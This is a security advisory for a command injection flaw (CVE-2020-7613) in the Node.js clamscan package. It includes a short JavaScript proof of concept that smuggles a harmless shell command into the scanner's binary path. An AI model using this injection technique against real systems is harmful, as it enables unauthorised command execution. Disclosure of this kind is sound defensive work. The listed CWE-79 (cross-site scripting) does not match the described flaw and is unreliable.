Command Injection

Affecting clamscan package, versions <1.3.0

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

clamscan is an Use Node JS to scan files on your server with ClamAV's clamscan binary or clamdscan daemon. This is especially useful for scanning uploaded files provided by un-trusted sources.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of the _is_clamav_binary function located within Index.js.

It should be noted that this vulnerability requires a pre-requisite that a folder should be created with the same command that will be chained to execute. This lowers the risk of this issue.

PoC by Snyk

var Root = require("clamscan");
var fs = require("fs");
var attack_code = "echo vulnerable > create.txt";
var root = new Root();
fs.mkdir(attack_code + "&", function(){});
root.init({"clamscan": {'path': attack_code + "&"}});

Remediation

Upgrade clamscan to version 1.3.0 or higher.

References

CVSS Score

3.6
low severity
  • Attack Vector
    Local
  • Attack Complexity
    High
  • Privileges Required
    Low
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    Low
  • Integrity
    Low
  • Availability
    None
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N/E:P/RL:U/RC:C
Credit
JHU System Security Lab
CVE
CVE-2020-7613
CWE
CWE-79
Snyk ID
SNYK-JS-CLAMSCAN-564113
Disclosed
01 Apr, 2020
Published
01 Apr, 2020